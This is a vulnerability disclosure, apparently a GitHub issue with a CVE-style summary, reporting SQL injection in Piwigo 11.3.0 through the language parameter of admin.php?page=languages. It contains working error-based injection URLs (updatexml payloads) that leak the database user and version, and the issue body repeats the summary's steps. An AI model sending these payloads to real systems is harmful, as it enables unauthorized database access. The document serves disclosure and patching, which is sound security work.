SQL injection exists in Piwigo before 11.4.0 via the language parameter to admin.php?page=languages.
1. Login with admin or users can set the language;
2. Send the following payload and follow redirect:
db user :http://xxx/admin.php?page=languages&language=zh_CN%27%20or%20updatexml(1%2Cconcat(0x7e%2C(user()))%2C0)%20or%20%27&action=activate
![image](https://user-images.githubusercontent.com/59224242/109492597-2d79c380-7ac6-11eb-8f70-aadc9c82e5e8.png)

db version:http://127.0.0.1/admin.php?page=languages&language=zh_CN%27%20or%20updatexml(1%2Cconcat(0x7e%2C(version()))%2C0)%20or%20%27&action=activate
![image](https://user-images.githubusercontent.com/59224242/109492715-5b5f0800-7ac6-11eb-9d8f-58aead973640.png)

SQL injection in settings-language in version 11.3.0
This is a GitHub Issue
repo:Piwigo
owner:Piwigo
Title : SQL injection in settings-language in version 11.3.0
Issue date:

--- start body ---
1. Login with admin or users can set the language;
2. Send the following payload and follow redirect:
db user :http://xxx/admin.php?page=languages&language=zh_CN%27%20or%20updatexml(1%2Cconcat(0x7e%2C(user()))%2C0)%20or%20%27&action=activate
![image](https://user-images.githubusercontent.com/59224242/109492597-2d79c380-7ac6-11eb-8f70-aadc9c82e5e8.png)

db version:http://127.0.0.1/admin.php?page=languages&language=zh_CN%27%20or%20updatexml(1%2Cconcat(0x7e%2C(version()))%2C0)%20or%20%27&action=activate
![image](https://user-images.githubusercontent.com/59224242/109492715-5b5f0800-7ac6-11eb-9d8f-58aead973640.png)

--- end body ---
